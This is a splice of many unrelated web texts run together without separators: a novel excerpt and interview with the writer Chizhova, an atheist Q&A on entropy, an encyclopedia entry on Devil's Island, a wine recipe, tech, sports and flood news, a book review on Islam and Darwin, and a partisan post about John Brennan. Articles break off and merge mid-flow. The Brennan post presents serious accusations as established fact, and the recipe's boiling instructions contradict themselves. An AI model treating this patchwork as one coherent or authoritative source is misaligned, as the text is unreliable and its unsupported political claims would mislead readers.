“You may be locked up and we may not be allowed to see you,” the grandmother whispers fiercely to the girl. “You will have to manage alone. But you should know — wherever you are locked up — I am with you. Any day I am outside the fence. I will keep walking as long as God gives me life. You may not see me, but you should remember — my granny is there.”
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Last month, Ms. Chizhova was still adjusting to her victory, raising her eyebrows when a stranger called to invite her to join his literary circle. (“Now that I have won a prize,” she remarked dryly, “it seems I have changed a great deal.”) As the Soviet Union began to fall, she bounced from an economics department — her thesis was on regulated costs in machine-tool building enterprises — to English instruction to the wobbly business world of the 1990s. The last bounce took place on a burning cruise ship off the coast of Turkey, when she spent six hours shut in her cabin, waiting to see if help would come.
“I sat by myself and tried to answer the question of what would be better — to explode or to throw myself into the sea,” said Ms. Chizhova, who is married and has two grown daughters. “I understood that I had done a lot in my life, but none of it was right. And when we were saved, I decided to throw it all away and sit and write.”
That was 1996. Since then she has written for six hours a day without weekends or vacations, producing five novels, three of them finalists for the Booker Prize. It is not surprising, given this, that she speaks about her work with moral urgency. History repeats itself in Russia, she said, the same evils appear in new guises, and failing to study it means repeating terrible mistakes. But her tone softens and blurs when she is asked whether her novel is political.
“If I am honest, I wrote it for those who died,” she said. “I wrote it for them. I was speaking with them. I always had the feeling that they were listening to me.”Question from Simon:
I was debating with a Christian friend about evolution and the genesis of life and I have to admit that he stumped me in regards to thermodynamics. He agrees that you can have a localised reduction in entropy as long as the overall system entropy increases (which is where most of the pro-evolution arguments seem to end) however he argues that to do so, you require some form of mechanism to drive the decrease as spontaneous localised decreases in entropy do not occur either in open or closed systems. Can you offer an explanation which supports or refutes this?
Answer by SmartLX:
Spontaneous localised decreases in entropy (i.e. increases in order) do not require the kind of mechanism you and the creationist are thinking of, only a bit of physical force.
– If you have a jar filled partially with rocks and sand and you shake it randomly for a while, the smaller particles will tend to make their way towards the bottom of the jar while the big ones stay on top, ordering the collection solely through gravity and friction.
– Chemists regularly use a centrifuge to separate heavier elements of a mixture or compound from lighter parts through centripetal/centrifugal force alone.
– Oil and water mixed together will separate vertically to some extent, even if you don’t agitate them. Gravity again, plus surface tension and possibly other parts of fluid dynamics I don’t fully understand.
– A group of small magnets dropped randomly in a bucket will snap together into a structure. Depending on their shape, many of them may join in a very straight line. Iron filings will arrange themselves into beautiful patterns around an electromagnet, and ferrofluid has to be seen to be believed.
There’s a creationist idea that all new order (physical, chemical, linguistic, etc.) requires a mind to create it. You’re up against a more flexible idea that new all order requires a mechanism, whether or not a mind is ultimately behind that, but there’s no more evidence for this idea than for the other. The inorganic forces of this planet (wind, tides, tectonic shift, orbital spin) were what the initial chemicals of life needed in order to come together and form a useful configuration. Once life existed it was capable of exerting its own forces, for good or ill, and evolution took hold through natural selection. We don’t know the details, but there is no discernible problem with the principle, no matter how much creationists would like there to be.
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RedditWallace Jackson : UI Design : User Interfaces : iTV | i3D | JavaFX | JavaTV | GoogleTV [ Wallace Jackson HTML5 website | User Interface Design | UI Projects | UI Samples | UI for iTV | UI for GoogleTV ]
Wallace Jackson has been involved with new media User Interface Design since he began producing new media for industry leaders ViewSonic & Western Digital in 1991. Currently he is working on iTV UI Design via JavaTV.
Since 1991, Wallace Jackson has produced UI Designs for dozens of the world's leading brands and manufacturers, for use in a wide variety of business objectives such as e-Signage, e-Learning, Virtual Product Demonstration, Tradeshow Multimedia, Electronic Press Kits [EPK], Set-Top Box UI, BrandGames, AdverGames, Websites, 3D PDF, Mobile Applications, ipTV and iTV Applications.
Attributes which set Mind Taffy Design crafted UI and UX Design apart from the rest are: data weight or data footprint (applications in under 1MB total data), and photorealism. Because Mind Taffy is able to leverage i3D in the UI and UX Design, the company is also able to program iTV applications and i3D simulations, which opens up a world of i3D PDFs, Virtual Worlds & MMORPG.
Examples of UI Design and UX Design created by Mind Taffy Design can be found on a number of sites which are referenced throughout this website, as well as on the portfolio websites and via social media networking sites.Summary
Wings is an open-source blockchain platform that serves as a decentralized autonomous organization (DAO). This decentralized platform allows crowdfunding projects to be created and managed through its system. It also allows for the creation of other DAOs and gives them the ability to be crowdfunded and implement governance systems of their own. Wings utilizes the concept of “swarm intelligence” to help forecast the success of the proposed projects or milestones of existing projects. Smart contracts are an intricate part of the Wings platform, since they power most of its functions, and they (together with the open-source code) provide transparency to the project.
Wings (WINGS) is the token that can be used to invest in projects and pay those who vote on and accurately forecast the success of proposals.Coordinates:
Island in French Guiana, France
Devil's Island (French: Île du Diable) is the third-largest island of the Salvation's Islands, an island group in the Atlantic Ocean. It is located approximately 14 km (9 mi) off the coast of French Guiana in South America just north of the town of Kourou. It has an area of 14 ha (34.6 acres). The island was a part of a controversial French penal colony located in French Guiana for 101 years, from 1852 to 1953. Although it was the smallest part of the penal colony, it is notorious for being used for internal exile of French political prisoners during that period. The most famous political prisoner on Devil's Island was Captain Alfred Dreyfus.
Use as a penal colony [ edit ]
Île du Diable is rocky and palm covered. It rises 40 m (130 ft) above sea level. Its development as a penal colony was begun in 1852 by the government of Emperor Napoleon III. The island is surrounded by rocky promontories and shoals, strong cross-currents and shark-infested waters. Landing on the island by boat is so treacherous that prison officials constructed a cable car system to connect the island to the nearby Île Royale. They used the cable car for years to travel the 180 m (600 ft)-wide channel between the two islands.[2]
Île du Diable was first used to house the prison system's leper colony.[3] With no understanding of the cause of leprosy (now also known as Hansen's disease), nor means of treatment, societies isolated its sufferers. Well before 1895, the French converted facilities on the island to house primarily political prisoners.
Aftermath [ edit ]
In 1953, the prison system was closed. In 1965, the French government transferred the responsibility for the island, with the rest of the group, to its newly founded Guiana Space Centre. The CNES space agency, in association with other agencies, has restored buildings classified as historical monuments. Since tourism facilities have been added, the islands now receive more than 50,000 tourists each year.[4]CEO Tim Cook definitely thinks leaks and iPhone sales are related though. On the company's second-quarter earnings call this year, he said, "We're seeing what we believe to be a pause in purchases on iPhone, which we believe are due to the earlier and much more frequent reports about future iPhones." What's more, according to The Outline, Apple believes that "It's our DNA... It's our brand" to "surprise and delight" people at product announcements, and keeping its plans secret is key to doing so.
Whether leaks have a direct impact on Apple's sales requires further investigation and is not something we can easily determine -- even Cook was just speculating when he discussed the "pause" in iPhone purchases. But would complete secrecy prior to product announcements have surprised and delighted consumers into buying more products?
Let's look back at two of Apple's recent hardware launches: the iPhone 7 and the MacBook Pro. Despite having been leaked to death prior to the reveal, the iPhone's missing headphone jack still generated plenty of buzz. The same goes for the MacBook Pro, which drew lots of attention to the controversial Touch Bar feature. Again, that's despite having been all but confirmed by the rumor mill before the official announcement. Possibly the best example here is the original Apple Watch: It was heavily exposed before the company even confirmed it but is still the most successful wearable today.
Sure, maybe there would have been more surprise at features like the iPhone 7 Plus' dual camera and Portrait Mode had they not been leaked. On the other hand, there would possibly have been more horror at widely perceived missteps like the headphone jack removal too.
Apple should focus on delighting its audience, and shutting down leaks isn't going to make that easier. Whether people already have an inkling of what to expect from a product doesn't prevent them from being pleased when it officially gets announced. Their reactions are only different when what's revealed turns out to be underwhelming.
Protecting trade secrets and preventing corporate espionage are part of most major organizations, but like Apple, some tech companies may be taking the anti-leak fixation too far. Google, for example, is facing a lawsuit for "illegal confidentiality agreements, policies, and practices." According to the legal documents, this includes an alleged "spying program" and a "global investigations team" that runs a "Stopleaks" program and investigates "information security issues when a Google employee is suspected of being involved."
It's important to note, though, that Apple has taken a strong stance against surveillance. It famously resisted the FBI when the latter demanded access to the San Bernardino shooter's iPhone. Cook has also publicly defended consumers' rights to strong encryption and security against governments. But it apparently doesn't have a problem hiring people from the same national security organization it frequently opposes, nor do its executives seem to have trouble throwing around terms like "breaking secrecy," which makes it seem like they're agents at those very institutions.
Neither Apple nor Google responded to requests for comment on these alleged security processes, although Google has refuted the lawsuit's claims. The exposé about Apple's obsession with secrecy is unlikely to make the company less uptight. But it also won't slow down the deluge of leaks around the 10th anniversary of the iPhone. Still, if we're to be surprised and delighted (not just surprised) by the product, Apple should be focusing on delivering an innovative and useful set of features rather than clamping down on leaks.February 26, 2010 3:22 pm ET — Walid Zafar
Arizona Congressman Trent Franks told blogger Mike Stark that African Americans were much better off under slavery. Franks, the most conservative member of the Republican caucus, who has in the past called the Supreme Court's Roe v. Wade decision "the greatest holocaust in the history of mankind," is not new to conspiracy and bigotry.
Last October for example, Franks accused a prominent Muslim advocacy group of "trying to infiltrate the offices of members of Congress by placing interns in the offices." Franks, an on-again, off-again birther, has called president Obama "un-American," accused him of going "against American interests" and even called him "an enemy of humanity." His comments to Stark, as repulsive and abhorrent as they are, seem to be consistent with the reactionary mindset that some on the right hold.
FRANKS: In this country, we had slavery for God knows how long. And now we look back on it and we say "How blind were they? What was the matter with them? You know, I can't believe, you know, four million slaves. This is incredible." And we're right, we're right. We should look back on that with criticism. It is a crushing mark on America's soul. And yet today, half of all black children are aborted. Half of all black children are aborted. Far more of the African American community is being devastated by the policies of today than were being devastated by the policies of slavery. And I think, What does it take to get us to wake up?
The excerpt starts at the 6:22 mark.What can be better than a nice glass of wine on a cold autumn evening? Only if this is warm Cranberry Orange Mulled Wine! Nothing beats cold and recharges body with vitamins and antioxidants than this wonderful spicy beverage. Fruity and earthy at the same time, this drink warms up the soul and pushes away any stress. Don’t go too crazy though, otherwise, your next read is about hangover tips!
Print Cranberry Orange Mulled Wine Ingredients 1 (750 ml) bottle of red wine (preferably fruity)
4 organic oranges
2 slices lemon
1 organic apple
1 cup fresh or frozen whole cranberries
2 tbsp stevia (agave syrup or sugar - optional)
2 tablespoons whole cloves
2 3-inch cinnamon sticks
a pinch nutmeg
Garnishes, if desired: cinnamon sticks, orange slices, and/or fresh cranberries Instructions Place ½ of a bottle of wine in a saucepan on a low heat. Leave it until boiling. (Make sure it is not boiling though, otherwise alcohol evaporates) Cut fruits in small pieces and squeeze oranges to get a fresh squeezed orange juice. Combine fruits, cranberries, stevia, cloves, cinnamon sticks and fresh squeezed orange juice (orange peel is optional) in a separate bowl. Add a little bit of water and place a bowl on a low heat until boiling. Let it cool of a little bit. Add bowl’s ingredients to warm wine in a saucepan and add the rest of wine. Mix everything and leave it on a low heat again. (No boiling) Filter mulled wine with fruits, living only liquid. Pour it into glasses, add a pinch of nutmeg and serve warm. 4.5.2.15I refer to Olivia Ho's article (Bookstores That Have Stood The Test Of Time, Sunday Life, Feb 5) on the book about Singapore's bookstores, Passage Of Time: Singapore Bookstore Stories 1881-2016.
It is sad to witness the demise of so many bookstores here over the years. Much of this is due to the rise of e-books as more readers migrate to digital devices.
But there is possibly light on the horizon for the brick-and-mortar bookstore.
In 2015, e-book sales in the United States, the world's largest book market, fell by 14 per cent, according to the Association of American Publishers. This was in tandem with increased sales of print books that year.
The decline in e-book sales continued last year, while sales of print books increased by 3.3 per cent, according to Bloomberg View.
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Have a view on a story in Life? E-mail stlife@sph.com.sg. We reserve the right to edit all letters.
In the US, the number of bookstores has been steadily increasing in the past few years, according to the American Booksellers Association.
Locally, I do not know of any bookstore that has opened recently, but the biggest bookstore here, Kinokuniya in Ngee Ann City, is set to open an extended space with a new shopfront this quarter.
The increasing popularity of print books will serve as an impetus for more bookstores to open here, but issues of high overheads and competition from book-peddling websites remain. In fact, online retail giant Amazon is set to enter the local market this quarter.
Related Story Buy local, read our world
Perhaps our government agencies can get more involved. The #BuySingLit campaign, organised by the National Book Development Council of Singapore and funded by the National Arts Council, is a good start.
Happening from Feb 24 to 26, this one-off event aims to promote the purchase of local literary works in print form. It will indirectly draw attention to the bookstores selling them.
Is it too much to wish for consistent funding, in some way or other, of worthy bookstores - these "cathedrals of the human spirit", as author Forrest Church wrote?
Whether there will be a renaissance in bookstores here remains to be seen. One can only hope.
Colin Lim
For more information, go to buysinglit.sg/Fez – Dr. Imad Hassan Babiker authored a revolutionary book in Sudan. It was first written in Arabic then published in Cairo (late December, 2011).
This book, which was released early in 2013, in the edition of Dar Al-Watan in Rabat, has raised, since its release various readings and multiple comments in the media as the notoriety of its content formed a controversial issue. “Shajara code Decoded” brings new understandings to holy verses in Quran. This book, according to its author, is a scientific/religious call to Muslim scholars to reflect on Quran again and reinterpret the holy text. The author reveals the secret of the Islamic law of evolution in the ears of cattle, and claims finding the answer for the missing link in the Darwinian Theory: “The Origin of Species.”
‘Shajara Code Decoded’ tackles a very sensitive issue of interest to Muslims’ faith primarily. Muslims and believers in monotheistic religions have always believed that Adam, who is mentioned in the Quran, the Torah and other heavenly books, “but it is a creature created by God directly from the mud,” in the form of a statue and then God blew in this statue of his soul, became male human being. Dr. Imad denies this in his new theory entitled ‘Ears of the Cattle’ (in Arabic: Azan Al Anaam).
The book addresses the amazing facts about the process of evolution in living being since the beginning of creation on earth. The author highlights new ideas on the subject of the creation of Adam, and its evolution over millions of years, before God infuses spirit in him: his ability (God) to turn Man into a sane and a rational person.
According to the author, Man grew a plant from the ground, with the rest of living beings. He lived long stages of his life, walking on four, before Allah the almighty appoint this Man his Khalifa (successor) on earth.
It is now 155 years since the first publication of ‘On the Origin of Species’ on the 24th November, 1859. The book has been the subject of heated debates around the globe. When people talk about ‘Darwinian Theory’ they are likely to refer to the notion of evolution. However, His book discusses multiple integrated theories. The main points Darwin discusses in ‘On the Origin of Species’ are:
1. Evolution: the biological world is constantly evolving from simpler to more complex forms.
2. Common ancestry: All ‘organisms’ in each group share a common origin, and that all ‘groups’ ultimately originate from one common ancestor.
3. Graduation: Evolution is a very slow process that happens over a long period of time and involves too many generations before a new form of species is established.
4. Natural Selection: Biological genetic mechanisms function selectively; therefore, the fitter would survive.
In ‘Shajara Code Decoded’, the writer concurs with Charles Darwin in his theory of evolution. Darwin analyzed the various mechanisms that govern the evolution of biological life as well as that of Man in particular. By the turn of the twenty-century, Darwin’s work was extremely exploited. The historical rise of communism in the Soviet Union built its atheist dogma on the rejection of all faiths; therefore, a total rejection of Adam’s conception and Eve’s birth from Adam’s rib. On the other side, the three main celestial religions minimized Darwin’s work to the commonly despised idea that we are descendents from monkey ancestors. Darwin did renounce his Christian faith at some point in his life, but he never converted to any other religion. He meditated nature and believed only in its powers. Many of his followers would advocate that Darwin was never an atheist. They usually quote him when he describes himself as follows: “an agnostic would be the more correct description of my state of mind”.
[Say: ‘Travel on earth, and see how he originated the creation. Then Allah will initiate the second creation in the same manner. Certainly, Allah has power over all things] Quran 29:20. Dr. Hassan argues that this very Aya (verse) of Quran describes the state of mind of Darwin. It is true that Darwin converged with apostles and prophets in their quest to know the creator and understand the nature of creation; yet Darwin’s scientific wondering can never be compared to the humble submission of messengers towards Allah (God) when they journeyed in search for the truth. Darwin never finished the journey of investigating nature to know the creator of Nature; Thus; he did “travel on earth”, but did not “see how he (Allah) originated the creation” Quran 29:20.
Dr. Hassan confesses that Darwin was not the pioneer figure in history to ever discuss evolutionism since many other Muslim philosophers and thinkers left ancient scriptures dating back to over a thousand years about their understanding of evolution within an Islamic framework.
Ibn Arabi, who lived about 800 years before Darwin is one of the most respected exegetes of the Quran. His views on the origin of life and man can be summarized in his own words from ‘Uqlatu al Mustawfi’
“On they rolled to perfection: Thus the meaner world was born. Mineral passed to vegetable life, out of which animal life was born. Then creation continued on earth, minerals, then vegetation, then animals, and then man. God made the last of every one of these kinds. The last of the minerals and the first of the vegetations is the truffle. The last of the vegetation and the first of the animals is the date palm. The last of the animals and the first of mankind is the monkey.”
Ibn Khaldun, nearly a thousand years ago, tackled evolution in his famous ‘Muqqadima’
“This world with all the created things in it has a certain order and solid construction. It shows nexuses between causes and things caused, combinations of some parts of creation with others, and transformations of some existent things into others, in a pattern that is both remarkable and endless. One should then take a look at the world of creation. It started out from the minerals and progressed, in an ingenious, gradual manner, to plants and animals. The last stage of minerals is connected with the first stage of plants, such as herbs and seedless plants. The last stage of plants, such as palms and vines, is connected with the first stage of animals, such as snails and shellfish which have only the power of touch. The word ‘connection’ with regard to these created things means that the last stage of each group is fully prepared to become the first stage of the newest group. The animal world then widens, its species become numerous, and, in a gradual process of creation, it finally leads to man, who is able to think and reflect. The higher stage of man is reached from the world of monkeys, in which both sagacity and perception are found, but which has not reached the stage of actual reflection and thinking. At this point we come to the first stage of man. This is as far as our (physical) observation extends. Now, in the various worlds we find manifold influences. In the world of sensual perception there are certain influences of the motions of the spheres and the elements. In the world of creation there are certain influences of the motions of growth and perception. All this is evidence of the fact that there is something that exercises an influence and is different from the bodily substances. This is something spiritual. It is connected with the created things, because the various worlds must be connected in their existence. This spiritual thing is the soul, which has perception and causes motion. Above the soul there must exist something else that gives the soul the power of perception and motion, and that is also connected with it. Its essence should be pure perception and absolute intellection. This is the world of the angels. The soul, consequently, must be prepared to exchange humanity for angelicality, in order actually to become part of the angelic species at certain times in the flash of a moment. This happens after the spiritual essence of the soul has become perfect in actuality, as we shall mention later on”.
The striking conclusion Dr. Hassan reaches is that Darwin himself evolved to become Muslim without knowing about this process (Naturalist- Evolutionist- Muslim). I quote Dr. Hassan from ‘Shajara Code Decoded’: “This is enough to suggest that Darwin, who was not known to discuss theological matters since he renounced Christianity, was a Muslim; just unaware that the word Islam, in its basic meaning, refers to a state of mind, an instinctive humble submission to the supreme creator, not a club that requires membership or permission to join or leave!”
He adds saying, “Since Islam in essence is Christianity without Trinity or divinity of any humans, and most Christians who renounce the classical form of their faith, but not reject the existence of divinity one way or the other, actually step into Islam, even if they don’t recognize that. Darwin has fulfilled several major criteria that make his humble submission before the power of nature is a step into the Islamic arena. This is what made his faith at his deathbed a mystery to so many. He was definitely neither Christian nor atheist. Yet, he was humbly submitted to the powerful findings of his life experience!”
As I see it, Darwin may have submitted to nature but did not humbly submit to the divine power governing this nature (Allah/God). After all, Islam means “the humble submission to the divine power with the purpose of living harmoniously with the natural world God created”. No matter what theories Darwin believed in when he was dying, he cannot have died Muslim.Former CIA Director John Brennan has been a long-time political operative with the Obama campaign and political apparatus. First working on the campaign, then working for President Obama in the White House, then taking on the role of CIA Director.
•During the 2008 campaign Brennan’s firm, The Analysis Corp., was caught breaking into the State Department to cleanse the passport records of candidate Barack Obama. •As CIA Director John Brennan admitted to using his agency to spy on congress and apologized.
Everything John Brennan touches is weaponized for political benefit.
.
Regarding this interview. There is a great deal of misinformation surrounding the JAR (Joint Analysis Report) or the “Russian Intelligence Report”:
♦FIRST – Only one agency issued the report. The FBI (James Comey)
♦SECOND – Only information from TWO intelligence gathering agencies was used by the FBI. The CIA (John Brennan), and the NSA (Mike Rogers).
♦THIRD – The ODNI (Clapper) does not generate intelligence. DNI is a hub for gathering intelligence from other agencies.
♦FOURTH – Only the CIA stated they had “high confidence” in the report. The NSA said “moderate confidence”.
♦FIFTH – The report was shared with 13 additional agencies; those agencies did not participate in the content of the report.
Summary: A highly politicized FBI black hat (James Comey) constructed a highly political intelligence report gathered from the highly politicized John Brennan (black hat) and the lesser political NSA Mike Rogers (white hat). That combined report was then shared with the political operative from the White House, ODNI bumbling doofus James Clapper (black hat), and disseminated throughout the intelligence community.
Here’s The Actual Report:
Everyone has an opinion of the report, but few have actually read the report. It’s a giant nothingburger.
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Before Dana White joined Frank and Lorenzo Fertitta in acquiring the organization in January 2001, the UFC and MMA as a whole was looked upon as a freak show of sorts. The sport was illegal in many states and was nearing the point of complete failure.
At that point in time, White would have been laughed into oblivion if he had made the following comment.
"We rebuilt this industry, we rebuilt the fight business," White said in June 2008. "And we think we have the right plan and the right strategy over the next five years, and I think mixed martial arts and the UFC is going to be the biggest sport in the world. Bigger than soccer, bigger than football, bigger than anything."
Even when White made that lofty declaration only four years ago, it seemed like a major stretch to think MMA could be mentioned in the same breath as the mammoths of the sporting world. While MMA is still far from matching football in North America, it has seemingly surpassed the sport on a global scale. Soccer is still much more popular than MMA across the planet, but there are certainly less people laughing at White's goals for global domination.
In the United States, the UFC is now televised alongside the NFL on the Fox network. The universal language of fighting has also allowed MMA to explode in several other countries, prompting some to push for the sports inclusion in the Olympics.
That may be years away, but the sport will inevitably find itself in the Summer Olympics as long as it continues its infectious growth. Would MMA have been included in the London games over the coming weeks, a competition including the following fighters would have been incredible to watch.
Author's note: Due to the year-round nature of the sport, Olympic MMA would more than likely feature amateur and lower-level professional fighters, as is the case with Olympic boxing. As the headline suggests, the teams in this article are purely fantasy.Pastor Phillip Guin (Screenshot/WIAT)
An Alabama church is using guns as a recruiting tool to get more congregation members through the door.
Rocky Mount United Methodist Church had an unused ravine near the church that they turned into a gun range.
“This is an opportunity for us to reach out in the name of Jesus Christ in a setting that is completely unique” Pastor Phillip Guin told WIAT. “Even odd by some people’s standards. But who’s to say that church can’t happen right here.”
Guin said the church had elderly church members who wanted to learn to use guns they had purchased. Originally the range was used to teach firearm safety, WIAT reports. But that turned into the Rocky Mount Hunt and Gun Club.
It’s worked as a recruiting tool. Guin told WIAT that prospective members are contacting him and other church members.
Watch the report from WIAT here:Dropbox, the file hosting and cloud storage company with 400 million users, has been struggling to hold up its $10 billion valuation in the face of scrutiny from investors and observers, and now it looks like the other shoe is dropping as the company streamlines its business. The company is shutting down Mailbox and Carousel, its email and photo apps. Sources tell us the plan will be to focus on its core product and developing other new productivity tools, such as its still-private collaboration app, Paper.
Mailbox will shut down in Februrary 26, 2016, and Carousel will stop working in March 31. The reason for the month extension on Carousel is in part because of a feature that is being built: an export tool that gives existing Carousel users a way to move conversations and content from existing shared albums into Dropbox. Also it will give time for users to migrate their photos. Mailbox was a client that sat on Gmail so shutting it will not affect your data on the service.
We’d been tipped off to the closures by a source close to the company, and also saw murmurs of Mailbox getting shut down elsewhere, and Dropbox now finally confirmed the news with a blog post with details this morning.
“Building new products is about learning as much as it’s about making,” Dropbox co-founders Drew Houston and Arash Ferdowsi write in the blog post. “It’s also about tough choices. Over the past few months, we’ve increased our team’s focus on collaboration and simplifying the way people work together. In light of that, we’ve made the difficult decision to shut down Carousel and Mailbox.”
But even as late as today, Dropbox was sending out messages to users claiming that no decision had been made:
“Thanks for reaching out to us. I understand how frustrating it can be when you aren’t able to receive updates about a product that you feel passionate about using,” said a note sent this morning to a reader. “Mailbox hasn’t been abandoned. It is still being developed while we determine which direction is best. As our developers don’t share there roadmaps with support, I’m unable to share them with you. If there is anything else I can help you with please let me know.”
Even without official confirmation, there were a lot of signs that the products were going the way of the dodo bird.
Mailbox had not been updated since July, and if you dig through Dropbox’s support forums, a lot of questions from frustrated users were going unanswered. Carousel actually had an update a bit more recently, in September, but essentially saw very little development soon after its initial release in 2014.
Neither app, according to App Annie, were seeing anything like sustained popularity beyond their initial releases. Mailbox currently ranks 233 in the “productivity” category in the U.S. iTunes store and is not popular enough to make the general rankings. Carousel is ranked at 271 in the photos category in the same store.
Dropbox started life as a place to store and access files in the cloud, but for years now it has been looking for traction around other services to grow usage — and paying users — on its platform, whose business model is based on offering free storage tiers and upselling people to pay for more space.
As part of that, Dropbox has been making a gradual shift to focus increasingly on sectors that are more likely to pay, such as enterprises. In November, it honed its pitch to business users in an event where it disclosed 150,000 paying business users.
Businesses are a minimum of five individuals, and sometimes many more, but still the proportion out of 400 million users underscores the uphill battle ahead for Dropbox in converting more business users, or building out the business with new customers.
It’s a sad ending for both. When Mailbox first launched in 2013, it was with a huge amount of hype, in part because of the scarcity created by a million-plus people desperate to get off the app’s waiting list, and in part because the app created a simple (and, at the time, unique) interface for reading email (initially on mobile) with gestures to quickly dismiss or archive items in your inbox.
Carousel, meanwhile, was the product of multiple startup acquisitions of promising mobile photo apps. Mailbox co-founder Gentry Underwood has already left Dropbox and Scott Cannon, the other co-founder, is staying on as an advisor for a short period of time.
Updated with clarification about the Carousel export tool.Get the biggest Birmingham City FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Birmingham City have tonight announced that they have parted company with Harry Redknapp as manager.
The news comes after Blues lost 3-1 at home to Preston in a heavy defeat in front of the St Andrew's faithful.
We will obviously have more news on this as we get it.
It leaves Blues looking for another manager with a mainly new team assembled just two weeks ago when the transfer window closed.
Redknapp's Blues were on the back of six defeats in the row, and the manager had signed 14 new players in total.
Lee Carsley is in temporary charge of the team as the hunt for a successor begins.
Club statement
The Club has tonight parted company with manager Harry Redknapp. Unfortunately due to the poor start to the campaign which sees the Club second from bottom of the Championship, we are left with no choice but to terminate the contract of the manager with immediate effect. We thank him for all his efforts and wish him good luck for the future. Lee Carsley, Blues Head Professional Development Coach, will step in as Caretaker Manager. There will be no further comment at this time.
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world's most prolific partnerships with Daniel Sturridge, and offered his insight into why they’re so deadly when combining for Liverpool.
The duo have formed a devastating strike force for the Reds since Sturridge arrived at the club in January, plundering 17 goals and countless assists between them.
The pair were at it again against Newcastle last weekend, with Suarez teeing up his fellow forward for Liverpool's equaliser at St James' Park, and the Uruguayan is thrilled with their link-up.
The No.7 told Liverpoolfc.com: "I am so happy because when you have a very good striker, and a very good partner, for defenders it is difficult because they have to give their attention to two players - not just one.
"If maybe two defenders come towards me, this creates space for Danny. This is important not just for me, but for the team and our confidence.
"He is a very good player. He had difficult moments at Chelsea and City, but this is a good time for him and I am so happy with him."
In a recent interview about working in tandem with Suarez, Sturridge described the partnership as a 'beautiful thing'.
Watch the video here »
Liverpool's Salto-born forward believes there is more to come from the pair - and insists it's something they're working tirelessly on to achieve.
Nonetheless, Suarez is eager to point out there is much more to the attacking vigour of Brendan Rodgers' side than just the front pairing.
"We are trying for progression," he said. "He is 24 and I am 26, so we are trying our best to progress for the future of the club.
"We know in the last few seasons, Liverpool have been not been in the Champions League and we know we can help the team challenge for the top four."
Suarez added: "We will try our best [to improve], but Liverpool is not only Suarez and Sturridge - it's the whole team.
"When I was banned, Iago was playing, Philippe has been playing and although now he is injured, he will come back and help the team. We've also had other players come back, like Johnson, and this is important for us."
Sturridge's goal at Newcastle was his 20th for Liverpool in just 26 appearances, making him the fastest player in Liverpool's history to reach the milestone since Fred Pagnam in 1915.
Asked if the presence of another goal-getter in the team changed his mentality when stepping out onto the pitch, Suarez joked: "Yes, because the responsibility is with him now - not me!
"Whether Danny scores, I score, or Stevie or another player scores, I am so happy and so are the team.
"When you have one man in the area, it's more important. I am not a real No.9 in the area, but Daniel is more so and that's important for me and the team."
Between them, the duo have managed 36 shots on goal so far in the Barclays Premier League this season.
Suarez feels he and Sturridge are on the same wavelength when it comes to getting efforts in on goal inside the box.
"For a striker, it's more difficult [to look for a teammate]," he explained. "In the area, you're concentrating on yourself and shooting at goal.
"If he shoots or if I shoot, we are both strikers and we understand. We can discuss it on the pitch, but we work really well together."
Suarez has previous experience of attacking in tandem for his team - the former Ajax star struck up a prolific understanding with Klaas-Jan Huntelaar during their time together at the Dutch club.
He's confident, however, 'the SAS', as they've been dubbed by fans, have what it takes to surpass his double-act efforts in Amsterdam.
"Three or four years or more ago, when I played with Klaas-Jan Huntelaar at Ajax, he had a very good partnership with me," said Suarez.
"Now, with Daniel we are trying our best and we can improve. Maybe in a few years I will be able to say my best partnership was with Daniel Sturridge, especially if we can continue to progress."
The sight of Sturridge's trademark 'ride the wave' dance after a goal has become a familiar sight for supporters, as has the 'El Pistolero' celebration of Liverpool's top scorer in 2012-13.
So...would Suarez ever contemplate swapping celebrations?
"No, never!" he laughed. "After he scores, he dances and I like that because I also have a celebration. When a striker scores, it makes him so happy."Authorities in Pakistan and India are struggling to cope with raging monsoon floods which have killed more than 460 people, displaced nearly a million people, and still threaten many more.
Pakistani military specialists blew up dykes with explosives to divert water from rivers running close to three cities, while Indian authorities admitted that relief efforts had not yet reached about 300,000 people in Kashmir.
Local people, aid-workers and medical staff in the Indian-administered parts of Kashmir criticised the relief effort, which they called "inadequate and chaotic".
Srinagar citizens escaping flooded homes on Thursday. Photograph: Haziq Qadri/The Vox Kashmir/BI
One aidworker based in Srinagar, a city of one million people, said the coordination between the Indian military, local authorities and NGOs had been "almost nonexistent".
Valay Singh, of Save the Children, said that at least 50,000 people were living in community-run relief centres, mainly mosques and Sikh temples. "People who are rescued have next to nothing, as of now. They need shelter, food, medicines clothes. There's no consolidated list of the rescued people in the relief camps. There is an urgent need to compile lists as it will help in identifying people displaced by the floods and help them in reuniting them with their families."
More than 200 people have been killed in Srinagar and bodies have reportedly been seen floating in the streets. Police said some residents of the city had been trapped in the top floors of their homes since heavy rains caused the Jhelum river to surge last week.
Volunteers in Srinagar hand out relief supplies. Photograph: Altaf Qadri/AP
Mohammad Farhan Malik, a volunteer doctor in Srinagar described a chaotic situation in the city. "There are over 20,000 people here [at one large mosque]. Most people are suffering from conjunctivitis, stress, gastroenteritis. We fear an outbreak of cholera. We have to be prepared for the worst. There are just eight to 10 doctors working... but the government hasn't set up any proper health camp."
Water levels in Kashmir have started to drop, but the extent of destruction in more remote areas remains unclear.
"There are some villages where everything has been swept away. People are extremely angry, frustrated and exhausted," said R K Khan, an Indian police official.
The Indian air force announced on Thursday night that it had been forced to scale back operations after angry survivors pelted helicopters with stones. Most communications networks in Kashmir had failed and only 20% of the population had clean water supplies, reports in India said.
The Jhelum river flows from Indian Kashmir to the Pakistan side, then down into the flat fertile lands of Punjab. The two embankments destroyed by the army on Thursday were near the cities of Muzaffargarh and Multan. The new breaches flooded farmland and small villages.
The disaster, caused by heavy rains over the last eight days, has so far forced more than 700,000 people to flee their homes in Pakistan. Some chose to remain to protect their property and land only to end up being trapped on what few high positions they could find.
"We sat on roofs for three days waiting for help," said Allah Wasaee, a mother of 10 children, from a village near Jhang city. "Even the women climbed up into the trees to escape the water."
Nawaz Sharif, the prime minister of Pakistan, visited the Pakistan-administered portion of Kashmir on Thursday and told flood victims that his government would do whatever it could to rebuild their damaged homes.
The prime ministers of both India and Pakistan offered each other help at the weekend to deal with the disaster, which temporarily diverted attention from fighting along the national borders. The crisis is the first humanitarian emergency in India since Narendra Modi took power in India in May.
The two states have fought four wars since winning their independence from Britain in 1947 and tension over Kashmir is a key factor in the mutual hostility. This week, however, violence flared again on the "line of control", the de facto border splitting Kashmir, as Indian troops shot dead three militants even as flood rescue operations began elsewhere.
